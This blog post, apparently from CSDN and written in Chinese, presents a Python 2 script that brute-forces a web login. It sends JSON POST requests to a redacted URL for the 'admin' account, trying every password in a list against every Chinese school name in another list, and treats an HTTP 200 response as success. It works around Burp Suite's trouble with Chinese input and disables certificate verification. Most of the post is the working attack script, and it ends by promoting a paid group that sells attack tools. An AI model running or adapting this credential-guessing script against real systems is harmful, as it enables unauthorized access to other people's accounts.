因为burpsuite不识别中文,无法进行暴力破解,所以就编写了一个python脚本进行暴力破解

在测试时采用json方式POST上传中文参数时,会进行编码
例如:将“测试”汉字传递的时候,在数据包中会显示为“\u6d4b\u8bd5”。

经过不断测试后发现,需要把汉字访问txt文件中,然后去读取,读取之后,在在传递参数的位置修改为data=json.dumps(data,ensure_ascii=False),才可以正常上传汉字,例如如下脚本(暴力破解)

#!/usr/bin/env python
 #-*-coding:GBK -*-

import requests
import json
import sys
reload(sys)
sys.setdefaultencoding("utf-8")



for password in open('pass.txt'):#读取密码文件
    passwd=password.replace('\n','')
    for schoolname in open('schoolname.txt'):#读取汉字文件
        s=schoolname.replace('\n','')
        url = "http://XXXXXX/login"  
        headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
                'Content-Type': 'application/json;charset=UTF-8',
                'Accept': 'application/json, text/plain, */*',
                'Connection': 'close',
                }

        data = {'account':'admin',
               'schoolname':'{}'.format(s),
               'pass':'{}'.format(passwd),
              }

        response = requests.post(url,data=json.dumps(data,ensure_ascii=False),headers=headers,verify=False)#以汉字的形式发送POST数据包

        print(response)
        rs=response.status_code
        if rs == 200:
            rs1=response.text
            passwd=str(passwd)
            print (rs1)
            print ('password is: {}'.format(passwd))



更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述

Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐